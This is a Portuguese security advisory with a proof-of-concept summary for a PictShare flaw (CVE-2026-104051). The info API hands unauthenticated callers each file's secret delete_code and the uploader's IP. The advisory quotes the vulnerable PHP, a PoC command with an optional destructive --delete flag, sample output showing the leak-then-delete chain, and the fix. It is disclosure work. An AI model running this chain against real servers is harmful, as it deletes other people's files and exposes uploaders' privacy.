Divulgação de informações sensíveis via API de informações no PictShare < 3.7.1 (CWE-522). PoC + relatório de advisory.
info no PictSharePesquisa de segurança autorizada. PoC apenas para uso defensivo e educacional.
O endpoint /api/info/<hash> do PictShare
retorna o objeto completo de metadados brutos de qualquer arquivo enviado — incluindo o
delete_code secreto que autoriza a exclusão, além do IP do uploader, User-Agent, porta remota e
SHA-1. Um atacante não autenticado que conhece o hash (publicamente visível) de um arquivo pode ler seu
delete_code e então excluir permanentemente arquivos hospedados arbitrários.
| CVE | CVE-2026-104051 |
| Produto | PictShare (host de imagens/mídia auto-hospedado) |
| Afetado | >= 2.0.0, < 3.7.1 |
| Corrigido em | v3.7.1 |
| Vulnerabilidade | Credenciais Insuficientemente Protegidas (CWE-522) → exclusão arbitrária de arquivos + perda de privacidade |
| Privilégios | Nenhum (não autenticado) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| Descoberto por | Alisher Qarshibayev |
| Advisory | VulnCheck |
API::info() procura o hash e retorna getMetadataOfHash() literalmente — sem lista
de campos permitidos:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
E checkPermissions() — o único portão antes da rota info — verifica gravação no
sistema de arquivos, não identidade, então info é acessível sem autenticação:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
Os metadados retornados contêm delete_code, que a API de exclusão aceita como o único
segredo de autorização:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
Os hashes de arquivos são públicos (aparecem em toda URL de imagem compartilhada), então toda a cadeia —
vazar o código via info, depois excluir via delete — não precisa de nada além da URL que um usuário
já compartilhou.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
Resultado esperado:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
Veja poc.py. A exclusão é opt-in (--delete) então a execução padrão é
somente leitura e não destrutiva.
Atualize para PictShare 3.7.1 (commit de correção ce5fc47).
info() agora retorna uma lista estrita de campos permitidos (mime, size, hash, sha1, uploaded) e não
vaza mais delete_code, ip, useragent ou remote_port. Orientação geral: respostas de API
devem listar campos explicitamente; nunca serializar um registro interno que mistura
segredos com dados públicos.
Relacionado: CVE-2026-104356 — mesmo sem este vazamento, o
delete_codeera previsível porque era gerado comrand().
| Data | Evento |
|---|---|
| 2026-10-01 | Divulgação pública, CVE reservado e publicado (VulnCheck), corrigido na v3.7.1 |
Divulgado de forma responsável ao fornecedor e coordenado através da VulnCheck. Corrigido antes deste PoC ser lançado. Publicado para fins defensivos e educacionais.